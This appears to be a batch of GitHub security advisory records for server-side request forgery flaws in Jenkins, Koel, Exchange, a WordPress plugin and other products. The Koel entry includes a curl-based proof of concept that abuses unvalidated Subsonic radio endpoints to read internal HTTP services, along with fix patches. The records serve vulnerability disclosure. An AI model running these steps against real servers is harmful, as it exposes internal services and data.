CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2026-47938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T21:17:23Z",
    "severity": "CRITICAL"
  },
  "details": "Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-6m7j-3j3g-22g4",
  "modified": "2026-06-09T21:32:39Z",
  "published": "2026-06-09T21:32:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47938"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/campaign/apsb26-66.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "spipu/html2pdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-45394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-19T22:40:38Z",
    "nvd_published_at": "2022-01-18T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Spipu HTML2PDF before 5.2.4. Attackers can trigger deserialization of arbitrary data via the injection of a malicious \u003clink\u003e tag in the converted HTML document.",
  "id": "GHSA-6m93-343m-3jrc",
  "modified": "2022-01-25T20:48:30Z",
  "published": "2022-01-21T23:29:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45394"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spipu/html2pdf/commit/100a4d509abf8550765cf0e0da83e83abb422585"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spipu/html2pdf/commit/2e6bab9a2afe9cfd4d3c3038da64d8ad74e41d7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spipu/html2pdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spipu/html2pdf/blob/master/CHANGELOG.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spipu/html2pdf/releases/tag/v5.2.4"
    },
    {
      "type": "WEB",
      "url": "https://www.synacktiv.com/sites/default/files/2022-01/html2pdf_ssrf_deserialization.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross-site Scripting in HTML2PDF"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-04T14:15:29Z",
    "severity": "MODERATE"
  },
  "details": "Sensitive information disclosure due to SSRF. The following products are affected: Acronis Cyber Protect 16 (Windows, Linux) before build 39938.",
  "id": "GHSA-6mf3-9673-cq56",
  "modified": "2025-06-04T15:30:40Z",
  "published": "2025-06-04T15:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48962"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-8514"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.89.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.89.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.106"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.90"
            },
            {
              "fixed": "2.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-30T19:43:25Z",
    "nvd_published_at": "2018-02-16T00:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper authorization vulnerability exists in Jenkins versions 2.106 and earlier, and LTS 2.89.3 and earlier, that allows an attacker to have Jenkins submit HTTP GET requests and get limited information about the response.",
  "id": "GHSA-6mv9-hcx5-7mhh",
  "modified": "2022-06-30T19:43:25Z",
  "published": "2022-05-13T01:01:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000067"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/jenkins/commit/2d16b459205730d85e51499c2457109b234ca9d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/jenkins"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2018-02-14/#SECURITY-506"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in Jenkins"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-12136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-24T10:15:38Z",
    "severity": "MODERATE"
  },
  "details": "The Real Cookie Banner: GDPR \u0026 ePrivacy Cookie Consent plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.2.4. This is due to insufficient validation on the user-supplied URL in the \u0027/scanner/scan-without-login\u0027 REST API endpoint. This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services via the `url` parameter.",
  "id": "GHSA-6p7r-732r-w94v",
  "modified": "2025-10-24T12:30:51Z",
  "published": "2025-10-24T12:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12136"
    },
    {
      "type": "WEB",
      "url": "https://infosecstuff.com/SSRF-Real-Cookie-Banner"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/Server_Side_Request_Forgery"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/real-cookie-banner/trunk/inc/rest/Scanner.php#L210"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/real-cookie-banner/trunk/inc/rest/Scanner.php#L223"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/real-cookie-banner/trunk/inc/rest/Scanner.php#L48"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3378727"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7f559d7f-3faf-4549-b529-f4db03dce2dd?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T17:13:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nKoel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel\u0027s radio streaming feature to make the server fetch that URL and return the upstream response body.\n\nThis was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.\n\n### Details\n#### SafeUrl is applied on the web API, but not on the Subsonic endpoints\n\nKoel\u0027s regular radio API protects station URLs with `SafeUrl` and `HasAudioContentType`:\n\n- `app/Http/Requests/API/Radio/RadioStationStoreRequest.php`\n- `app/Http/Requests/API/Radio/RadioStationUpdateRequest.php`\n\n```php\nnew SafeUrl(),\nnew HasAudioContentType(),\n```\n\nThe Subsonic-compatible routes do not reuse those checks:\n\n- `routes/subsonic.php`\n  - `createInternetRadioStation.view`\n  - `updateInternetRadioStation.view`\n- `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`\n- `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`\n\n```php\nreturn [\n    \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n    \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n    \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n];\n```\n\nThe result is a validation gap between two routes that create the same type of object.\n\n#### The unvalidated URL is stored and later fetched server-side\n\nThe Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:\n\n- `app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php`\n- `app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php`\n- `app/Services/RadioService.php`\n\nThe SSRF is triggered when the station is played:\n\n- `app/Http/Controllers/StreamRadioController.php`\n- `app/Services/Radio/RadioStreamService.php`\n- `app/Services/Radio/RadioStreamProxy.php`\n\n`RadioStreamProxy::openStream()` opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:\n\n```php\n$stream = fopen($url, \u0027r\u0027, false, $context);\n```\n\n#### The response body is returned to the attacker\n\nIf the upstream response is treated as a normal stream, Koel forwards it back to the client:\n\n```php\nwhile (!feof($stream) \u0026\u0026 !connection_aborted()) {\n    echo fread($stream, 8192);\n    flush();\n}\n```\n\nThat makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through `/radio/stream/{id}`.\n\nThis behavior also differs from the documented expectation in `docs/usage/radio.md`, which says Koel checks the URL when adding or editing a radio station.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n  curl -sS -X POST http://127.0.0.1:18081/api/me \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}\u0027 \\\n  | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"token\"])\u0027\n)\n```\n\n2. Obtain the user\u0027s Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n  curl -sS http://127.0.0.1:18081/api/data \\\n    -H \"Authorization: Bearer $API_TOKEN\" \\\n  | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])\u0027\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/radio/stations \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \u0027Accept: application/json\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \"{\\\"name\\\":\\\"blocked\\\",\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Create the same station through the Subsonic route:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \\\n  --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n  --data-urlencode \u0027f=json\u0027 \\\n  --data-urlencode \u0027name=xmlpeek\u0027 \\\n  --data-urlencode \"streamUrl=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Resolve the station ID and stream it:\n\n```bash\nSTATION_ID=$(\n  curl -sS \"http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY\u0026f=json\" \\\n  | python3 -c \u0027import json,sys; items=json.load(sys.stdin)[\"subsonic-response\"][\"internetRadioStations\"][\"internetRadioStation\"]; print(next(x[\"id\"] for x in items if x[\"name\"]==\"xmlpeek\"))\u0027\n)\n\ncurl -i \"http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN\"\n```\n\nExpected result:\n\n- HTTP `200`\n- Response body contains the upstream content from the internal target URL\n\nAn authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.\n\nPractical impact includes:\n\n- Reading loopback-only, RFC1918, or Docker-bridge HTTP services\n- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed\n- Performing internal HTTP reconnaissance and retrieving content through Koel itself\n\nSince the response body is returned to the attacker, the impact is materially higher than a blind SSRF.\n\n### Remediation\n\nThe Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n     public function rules(): array\n     {\n         return [\n-            \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n+            \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl(), new HasAudioContentType()],\n             \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n             \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n         ];\n     }\n }\n```\n\nSuggested patch for `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n     public function rules(): array\n     {\n         return [\n             \u0027id\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n-            \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n+            \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl(), new HasAudioContentType()],\n             \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n             \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n         ];\n     }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Radio/RadioStreamProxy.php`:\n\n```diff\ndiff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php\n--- a/app/Services/Radio/RadioStreamProxy.php\n+++ b/app/Services/Radio/RadioStreamProxy.php\n@@\n namespace App\\Services\\Radio;\n \n+use App\\Helpers\\Network;\n use App\\Models\\RadioStation;\n \n class RadioStreamProxy\n {\n+    public function __construct(private readonly Network $network) {}\n+\n@@\n     public function openStream(string $url)\n     {\n+        if (!$this-\u003enetwork-\u003eisSafeUrl($url)) {\n+            return false;\n+        }\n+\n         $context = stream_context_create([\n             \u0027http\u0027 =\u003e [\n                 \u0027header\u0027 =\u003e \"Icy-MetaData: 1\\r\\n\",\n                 \u0027timeout\u0027 =\u003e 5,\n             ],\n```",
  "id": "GHSA-6p96-cfg5-4vhp",
  "modified": "2026-07-15T17:13:23Z",
  "published": "2026-07-15T17:13:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-6p96-cfg5-4vhp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/pull/2545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-41040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-03T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Exchange Server Elevation of Privilege Vulnerability.",
  "id": "GHSA-6ph7-8wxv-6gf2",
  "modified": "2025-10-22T00:32:37Z",
  "published": "2022-10-04T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41040"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41040"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-41040"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-41040"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/915563"
    },
    {
      "type": "WEB",
      "url": "https://www.secpod.com/blog/microsoft-november-2022-patch-tuesday-patches-65-vulnerabilities-including-6-zero-days"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/170066/Microsoft-Exchange-ProxyNotShell-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-11066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-10T20:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "openid.php in LightOpenID through 1.3.1 allows SSRF via a crafted OpenID 2.0 assertion request using the HTTP GET method.",
  "id": "GHSA-6pjf-pvwc-xw7f",
  "modified": "2024-04-04T00:35:27Z",
  "published": "2022-05-24T16:45:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11066"
    },
    {
      "type": "WEB",
      "url": "https://marc.info/?l=openid-security\u0026m=155477050605610\u0026w=2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-27907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-22T17:16:45Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Application Server 8.5 and 9.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-6pxq-w9rr-772v",
  "modified": "2025-04-22T18:32:11Z",
  "published": "2025-04-22T18:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27907"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7231514"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-33181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-01T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in webapi component in Synology Video Station before 2.4.10-1632 allows remote authenticated users to send arbitrary request to intranet resources via unspecified vectors.",
  "id": "GHSA-6q24-858g-34rg",
  "modified": "2022-05-24T19:03:44Z",
  "published": "2022-05-24T19:03:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33181"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/security/advisory/Synology_SA_21_04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}